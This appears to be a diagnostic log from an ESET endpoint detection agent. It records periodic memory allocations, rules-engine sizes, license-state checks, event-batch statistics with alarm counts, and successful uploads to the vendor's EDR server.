2026-03-04 23:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2039 KB; ProcessInfo: 2034 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BaseEvent: 340 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 263 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 92 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37946 KB;
2026-03-04 23:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2398 KB; ModuleMetadata: 2039 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; BaseEvent: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 243 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38510 KB;
2026-03-04 23:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2783 KB; ModuleMetadata: 2039 KB; BaseEvent: 700 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 269 KB; BatchSerializer::EventsQueueTag: 188 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39166 KB;
2026-03-04 23:12:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:08:08, To:, 2026-03-04 23:12:01, Duration (s):, 233, Events Per Second:, 17.745, Events:, 4140, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3456, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 683, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461538
2026-03-04 23:12:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s324ms.
2026-03-04 23:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2039 KB; ProcessInfo: 1722 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 247 KB; BaseEvent: 152 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37375 KB;
2026-03-04 23:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2082 KB; ModuleMetadata: 2039 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 331 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 228 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 86 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37942 KB;
2026-03-04 23:14:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:14:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:14:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:14:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2442 KB; ModuleMetadata: 2039 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; BaseEvent: 511 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 210 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 134 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38503 KB;
2026-03-04 23:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2808 KB; ModuleMetadata: 2039 KB; BaseEvent: 690 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 219 KB; BatchSerializer::EventsQueueTag: 181 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39090 KB;
2026-03-04 23:16:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:11:57, To:, 2026-03-04 23:16:13, Duration (s):, 256, Events Per Second:, 15.943, Events:, 4089, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3366, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 4, Livegrid:, 4, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454821
2026-03-04 23:16:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s445ms.
2026-03-04 23:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 207 KB; cloudutils::CloudData: 140 KB; BaseEvent: 125 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37101 KB;
2026-03-04 23:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2233 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 655 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; BaseEvent: 459 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 134 KB; BatchSerializer::EventsQueueTag: 119 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38249 KB;
2026-03-04 23:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:18:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:16:13, To:, 2026-03-04 23:18:50, Duration (s):, 157, Events Per Second:, 26.223, Events:, 4129, File:, 2, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 724, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458593
2026-03-04 23:18:52 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s383ms.
2026-03-04 23:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1954 KB; TcpIpConnectionsManager: 801 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 80 KB; BaseEvent: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 37545 KB;
2026-03-04 23:19:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:19:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:19:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:19:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2604 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 924 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; rules::ProcessConditionsCache: 383 KB; BaseEvent: 362 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 95 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 39036 KB;
2026-03-04 23:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3306 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 965 KB; BaseEvent: 707 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; rules::ProcessConditionsCache: 342 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 185 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 40157 KB;
2026-03-04 23:20:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:18:50, To:, 2026-03-04 23:20:58, Duration (s):, 128, Events Per Second:, 32.124, Events:, 4143, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3417, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459794
2026-03-04 23:21:00 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s451ms.
2026-03-04 23:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2894 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 941 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 295 KB; BaseEvent: 291 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39146 KB;
2026-03-04 23:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3256 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 811 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; BaseEvent: 468 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 271 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39580 KB;
2026-03-04 23:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3616 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 670 KB; BaseEvent: 646 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 250 KB; BatchSerializer::EventsQueueTag: 169 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 40002 KB;
2026-03-04 23:24:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:24:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:24:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:24:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:24:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:20:58, To:, 2026-03-04 23:24:25, Duration (s):, 207, Events Per Second:, 19.729, Events:, 4098, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3389, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454874
2026-03-04 23:24:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s395ms.
2026-03-04 23:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1617 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 236 KB; cloudutils::CloudData: 140 KB; BaseEvent: 81 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37133 KB;
2026-03-04 23:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1982 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 271 KB; rules::ProcessConditionsCache: 230 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37732 KB;
2026-03-04 23:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2325 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 429 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 219 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 112 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38278 KB;
2026-03-04 23:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2686 KB; ModuleMetadata: 2040 KB; BaseEvent: 611 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 162 KB; BatchSerializer::EventsQueueTag: 160 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38797 KB;
2026-03-04 23:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:28:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:24:25, To:, 2026-03-04 23:28:37, Duration (s):, 252, Events Per Second:, 16.229, Events:, 4099, File:, 8, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3374, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 716, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455936
2026-03-04 23:28:40 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s468ms.
2026-03-04 23:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1386 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 139 KB; BaseEvent: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36767 KB;
2026-03-04 23:29:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:29:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:29:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:29:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1749 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 224 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 129 KB; BatchSerializer::EventsQueueTag: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37343 KB;
2026-03-04 23:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2117 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BaseEvent: 405 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 131 KB; BatchSerializer::EventsQueueTag: 105 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37928 KB;
2026-03-04 23:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2498 KB; ModuleMetadata: 2040 KB; BaseEvent: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 153 KB; rules::ProcessConditionsCache: 146 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38570 KB;
2026-03-04 23:32:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:28:41, To:, 2026-03-04 23:32:25, Duration (s):, 224, Events Per Second:, 18.339, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458105
2026-03-04 23:32:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s515ms.
